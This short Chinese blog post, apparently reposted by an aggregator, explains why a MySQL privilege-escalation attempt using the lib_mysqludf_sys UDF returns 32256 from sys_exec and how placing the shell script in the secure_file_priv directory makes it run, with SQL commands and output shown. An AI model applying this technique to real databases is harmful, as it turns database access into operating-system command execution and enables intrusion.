mysql sys exec_mysql提权lib_mysqludf_sys执行sys_exec出现32256的问题解决办法
使用lib_mysqludf_sys提權(quán),執(zhí)行select sys_exec返回數(shù)字32256問題的主要原因是所執(zhí)行的shell腳本無權(quán)限,也就是mysql無法執(zhí)行,將shell腳本放在mysql secure file目錄就可以解決。
mysql> show variables like ‘%secure%’;
+————————–+———————–+
| Variable_name | Value |
+————————–+———————–+
| require_secure_transport | OFF |
| secure_file_priv | /var/lib/mysql-files/ |
+————————–+———————–+
將shell腳本拷貝到/var/lib/mysql-files/目錄,執(zhí)行成功:
mysql> select sys_exec(‘/var/lib/mysql-files/test.sh’);
+—————————————————–+
| sys_exec(‘/var/lib/mysql-files/test.sh’) |
+—————————————————–+
| 0 |
+—————————————————–+
返回數(shù)據(jù)0表示成功。
總結(jié)
以上是生活随笔為你收集整理的mysql sys exec_mysql提权lib_mysqludf_sys执行sys_exec出现32256的问题解决办法的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: mysql is fashion ctf
- 下一篇: mysql读写分离有用吗_MySQL的使